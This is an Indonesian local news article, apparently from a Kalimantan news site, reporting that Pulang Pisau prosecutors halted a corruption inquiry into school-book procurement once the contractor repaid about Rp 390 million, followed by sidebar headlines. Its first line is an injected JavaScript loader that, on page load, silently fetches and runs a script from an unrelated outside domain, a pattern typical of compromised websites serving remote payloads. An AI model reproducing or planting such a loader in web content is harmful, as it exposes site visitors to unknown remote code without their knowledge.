(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Pulang Pisau

Kejari Pulpis Paksa Kembalikan 390 Juta, Diduga Rekanan Ambil Untung Lebih 15 %


PULANG PISAU, Kejaksaan Negeri (Kejari) Pulang Pisau berhasil mengungkap dugaan praktek korupsi pengadaan buku panduan pendidik untuk 23 sekolah bersumber APBD Kabupaten Pulang Pisau tahun 2016 dan tahun 2017 di Dinas Pendidikan Pulang Pisau.

Hal tersebut disampaikan Kepala Kejari Pulang Pisau Triono Rahyudi didampingi Kasi Pidsus Amir Giri, Kepala Inspektorat Pulpis Sapry Junjung dan Sekretaris DPKAD Pulpis Uhing, Selasa (23/10).

Tim Kejaksaan menemukan ada kejanggalan dalam paket pengadaan buku yang total nilainya mencapai Rp 2 miliar itu, paket pekerjaan tahun 2016 dan tahun 2017. Dari 18 orang yang dimintai keterangan serta pemeriksaan 73 dokumen, pihak rekanan menyalahi aturan dengan meraup keuntungan selisih harga melebihi 15 persen.

“Dari perhitungan kita mencapai 45 persen atau sebesar Rp 390.642.723. Sesuai dengan aturan hal tersebut tidak boleh, karena selisih kelebihan harga melebihi hal yang diatur adalah menjadi hak negara dan wajib dikembalikan,” ujar Triono.

Setelah berkoordinasi dengan Aparat Pengawas Internal Pemerintah (APIP) Pulang Pisau serta berdasarkan surat Jaksa Agung Muda Tindak pidana khusus Kejaksaan Agung RI nomor B-260/F/Fd.1/02/2018 tanggal 12 Februari 2018 tentang peningkatan kinerja dan kualitas dalam penanganan perkara dan melihat sikap kooperatif rekanan yang mengembalikan selisih uang tersebut, penyelidikan kasus itu distop.

Selanjutnya dikatakan Triono melalui APIP, pihaknya akan segera memproses pengembalian dana tersebut ke kas daerah secara teknis akan lewat DPPKAD.

Kepala Inspektorat Pulang Pisau Sapry Junjung saat ditanyai terpisah mengaku, jika langkah Kejaksaan tersebut adalah hal positif. Melalui kasus itu dikatakan inspektur Sapry harusnya bisa menjadi contoh bagi siapapun yang melakukan pekerjaan di lingkup Pemkab Pulang Pisau selalu taat aturan.

“Jika memang ada kebingungan dan keragu-raguan, dalam menjalankan pekerjaan di pemerintahan, silahkan berkonsultasi dengan Aparat Pengawas Internal Pemerintah (APIP) yang tersedia atau TP4D. Kita selalu open dan terbuka untuk mengawal program pemerintah yang sesuai dengan aturan hukum,” pungkasnya. (sjy)

Reporter : Sjy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

3 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

4 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

5 jam ago

Wabup Dodo: Hasil Reses DPRD Jadi Acuan Kebijakan

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More

5 jam ago

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

17 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

19 jam ago

This website uses cookies.